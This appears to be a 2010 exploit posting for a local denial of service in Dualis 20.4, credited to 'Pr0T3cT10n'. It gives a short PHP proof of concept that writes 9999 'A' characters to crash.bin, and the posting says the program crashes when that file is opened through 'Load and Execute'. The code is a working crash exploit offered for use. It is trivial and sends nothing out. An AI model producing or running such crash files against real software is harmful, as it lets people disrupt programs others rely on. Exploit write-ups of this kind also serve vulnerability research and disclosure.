Dualis 20.4 Denial Of Service

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# Exploit Title: Dualis 20.4 (.bin) Local Daniel Of Service  
# Date: 03/04/2010  
# Author: Pr0T3cT10n  
# Software Link: http://dualis.1emu.net/files/dualis-20.4.zip  
# Version: 20.4  
# Tested on: Windows XP HEBREW SP3  
# CVE : no  
# Code :  
<?php  
# Dualis 20.4 (.bin) Local Daniel Of Service  
# Software Site: http://dualis.1emu.net/  
# Software Download: http://dualis.1emu.net/files/dualis-20.4.zip  
# Author: Pr0T3cT10n <[email protected]<mailto:[email protected]>>  
# Site: http://www.nullbyte.org.il  
##################################################################  
# Dualis 20.4 is vulnerable to local denial of service attack.  
# When we try to open a file by 'Load and Execute(CTRL+R)'  
# that contains 9999 chars ('A'), so dualis should crash.  
##################################################################  
# PoC / Code:  
$buffer = str_repeat('A', 9999); # Create 9999 chars('A')..  
if(file_put_contents('crash.bin', $buffer)) {  
echo("File created successfuly.\r\nDualis should crash when you open the file with it.\r\n");  
} else {  
echo("Can't create file. Try again.\r\n");  
}  
# Cya :)  
# NULLBYTE.ORG.IL  
####################  
?>  
  
  
  
`